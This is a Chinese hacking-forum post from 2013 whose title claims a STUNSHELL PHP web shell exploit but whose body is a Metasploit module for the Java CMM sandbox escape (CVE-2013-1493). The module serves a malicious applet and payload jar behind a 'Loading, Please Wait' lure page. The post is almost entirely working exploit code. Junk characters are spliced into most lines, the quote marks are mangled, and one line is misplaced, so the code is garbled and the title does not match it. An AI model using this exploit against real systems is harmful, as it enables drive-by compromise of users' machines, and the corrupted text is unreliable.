找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2033|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
##
2 _, T  w6 a' }  r2 q+ I, P8 i+ U( s7 M4 c  K9 M
# This file is part of the Metasploit Framework and may be subject to
' j) R8 ?# Z" y; o3 g# redistribution and commercial restrictions. Please see the Metasploit
3 M5 j  I& O) }# T$ K' R# web site for more information on licensing and terms of use.
- d% S" ]; t7 P0 Q( P# http://metasploit.com/: t' S  f2 t: O; p
##3 n* d- J  M, @$ N2 ?0 U, Y9 K
require ‘msf/core’$ U% l% J4 X/ {* |: K, c- p5 A9 `7 _
require ‘rex’7 V2 `) E. h% \) }/ ~; n$ |
class Metasploit3 < Msf::Exploit::Remote
1 ?3 N6 Z9 k1 l4 e2 m0 pRank = NormalRanking
& A2 m; F8 S* X. Uinclude Msf::Exploit::Remote::HttpServer::HTML+ F; b; ?1 W) q# l! t
include Msf::Exploit::EXE) ^; u' E% `: i' ~0 J8 x: B, R
include Msf::Exploit::Remote::BrowserAutopwn) L8 X1 K# [8 |6 A- ^6 Y
autopwn_info({ :javascript => false })5 t' Q. u1 Q+ [) {7 `7 c- Z4 v
def initialize( info = {} )
8 f7 g/ }, @2 F1 D" osuper( update_info( info,2 }& F& j/ Z9 L- b" ~
‘Name’ => ‘Java CMM Remote Code Execution’,. G+ p8 o! q3 L: ^, o& g
‘Description’ => %q{+ N- ~! O" M1 @3 o7 {
This module abuses the Color Management classes from a Java Applet to run
1 ]' N( b1 F* d, q* Tarbitrary Java code outside of the sandbox as exploited in the wild in February
/ f' W& Z5 G7 N( J- ^/ I1 n  tand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
6 h! L% e) h8 Land earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
" I) K3 `3 y$ B$ S9 J( Msystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
6 m+ h' g* V( W# K& }  dwarning in order to run the malicious applet.5 v; }! A1 r: f9 G  v' w/ t
},
5 A6 q9 G1 `0 i& f3 @‘License’ => MSF_LICENSE,
# t! w4 T2 |6 s' _* \0 o‘Author’ =>/ {7 n4 m- r" N6 {6 [* `: N
'Unknown', # Vulnerability discovery and Exploit! h) o* F- q* U. N1 R4 g
'juan vazquez' # Metasploit module (just ported the published exploit)! I0 _, A7 R3 n1 |7 z
],
0 S! z% a/ o+ U' ~/ Y! k; T‘References’ =>3 m; K. j+ ^; B% I
[
5 v. |5 d6 v& p4 K[ 'CVE', '2013-1493' ],
8 O. Q: ]0 E0 O7 e: A; v[ 'OSVDB', '90737' ],
: [2 F& q3 C  C! Y! C7 y[ 'BID', '58238' ],
/ w: R% `( k7 i% c5 k* P+ b7 Q[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
8 J7 O/ C& `8 f# y[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
4 i$ Z& \# e( {0 B! C[ 'URL', 'http://pastie.org/pastes/6581034' ]
  r+ [. g9 m5 ^1 U. r+ R, C],' ~, t. ?1 R1 ^
‘Platform’ => [ 'win', 'java' ],
( E9 e- H+ s" C8 u- `7 o/ N‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },$ M5 p: D; r+ a* P
‘Targets’ =>. B+ Z0 b1 G+ E' A/ D
[; t& m4 `& ]9 T6 h8 s
[ 'Generic (Java Payload)',& M( W3 q6 r! b) p
{
% _1 |6 p1 D4 @'Platform' => 'java',
1 [6 F1 [8 O8 _! X) ^2 f'Arch' => ARCH_JAVA
8 `4 |. ^: L% r. u* f}
- d* p. A" G& P( k: |],5 T" a. u) ^% x1 o1 c+ f5 A
[ 'Windows x86 (Native Payload)',9 ]) A3 ]# v5 G% \
{% R9 b$ v/ I4 M' K$ t
'Platform' => 'win',* h9 h; s1 t" n' m
'Arch' => ARCH_X86' R7 i  E7 ]4 {# D6 Y) x7 x( c, {
}
+ y/ o3 @- b3 S" R7 J' I2 s6 A]
; l+ i) K. G) E9 F0 w) X" b],6 Y2 {3 b: o7 a5 W
‘‘DisclosureDate’ => ‘Mar 01 2013′3 B* S! G1 x4 c3 O3 I
))/ n# K& u# j. z4 @5 B' E' f
end3 ]/ P, V& ?# y( [
def setup! Z  B" [  k) m& S5 m4 T
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”), {/ }0 ], y7 w" r4 {7 ^
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 [' Z3 G; u+ }) Z5 b! Ypath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)! G* |6 n9 C( S2 ?' z% `2 _/ _) s  X
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
  A8 ~" \% _4 l% [path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
9 N$ j: @$ Y% Q0 p6 Q- t@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }3 O- C  e! }& x8 M
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
4 o1 ^; D4 d6 l@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }6 ^/ Y! u; a* D* k# p0 P8 c
@init_class_name = rand_text_alpha(“Init”.length)
( [) z  c  k5 Y# ^' S5 }/ y6 J@init_class.gsub!(“Init”, @init_class_name)1 b1 z% x+ R1 U$ ?6 V7 k
super
6 Y, c4 |8 Y* ]  ]3 u( T+ kend6 q8 }  o/ s0 Q8 m$ A8 e$ B
def on_request_uri(cli, request)
/ j" O/ u' _7 N7 n9 H/ e: v0 Z. Dprint_status(“handling request for #{request.uri}”)
) R) f2 l7 j  ^( \. P8 Bcase request.uri" S) F5 R- S) {3 i& a. A# R, _1 b0 q
when /\.jar$/i
+ t! n, s1 }* S# G8 G9 Qjar = payload.encoded_jar
+ S7 F& c' M4 O" gjar.add_file(“#{@init_class_name}.class”, @init_class)1 C" e' x7 ?/ z: g% q# y
jar.add_file(“Leak.class”, @leak_class)
6 J0 ]# @/ C! B  M1 hjar.add_file(“MyBufferedImage.class”, @buffered_image_class)) l  i& d$ ?- R
jar.add_file(“MyColorSpace.class”, @color_space_class)
5 t6 R$ _4 Z8 y& S- J- [  kDefaultTarget’ => 1,+ e! V4 A7 @6 v3 H( p! o+ A% O
metasploit_str = rand_text_alpha(“metasploit”.length)
; [- Y6 y1 s  |3 f# Y& N9 K9 d. zpayload_str = rand_text_alpha(“payload”.length)/ j- Z: c9 O. K- i' T
jar.entries.each { |entry|
9 x# W! X8 N* ]- a/ o- p* u% |) b  Pentry.name.gsub!(“metasploit”, metasploit_str)
# R9 l. R0 c4 y9 n# ^; ]9 {entry.name.gsub!(“Payload”, payload_str)
  }, f4 F  K  t$ y6 m( Sentry.data = entry.data.gsub(“metasploit”, metasploit_str)
3 G% V& X, v* b0 ^& q1 E# kentry.data = entry.data.gsub(“Payload”, payload_str)! \# O6 j4 c) Z
}
. `% \0 E3 s" P+ w& {jar.build_manifest0 N; q  }$ X. O* P
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
$ O3 p1 T' G7 h2 x! J, }6 _when /\/$/
$ {2 a+ x; \( F$ S5 u3 ^) kpayload = regenerate_payload(cli)
& F% V# f+ Y0 w1 b; a8 pif not payload
$ `5 i" {5 b* Kprint_error(“Failed to generate the payload.”)
% }5 g2 ?5 \: U: ?send_not_found(cli)
1 I) x8 m, X, ], `* B; w( dreturn  v1 t  Y) h" F" Y1 O5 D7 ^
end# V* t( p2 c2 A) A
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ }); x1 p1 v2 S& e
else
. R- \, m6 L9 y+ `/ l1 w0 X2 n- wsend_redirect(cli, get_resource() + ‘/’, ”)
) x7 I. H; b& C. send2 {& s# P: S* \$ Q3 u
end
8 G( `' R% e& qdef generate_html
: j, C$ P. k$ }3 |* }+ rhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
! a  U7 ?( E2 ]2 a1 n+ zhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|6 G+ Z- b6 D. s, \! K
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
. w2 w) S' w5 o5 U- X  j  h7 Khtml += %Q|</applet></body></html>|
8 n; r: Z0 w$ T2 G9 ]$ Ureturn html
6 @$ x. h, O7 jend; `9 |& l( t; [$ w
end
1 e# k' I2 q+ send$ ?4 x3 ~7 ]" Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表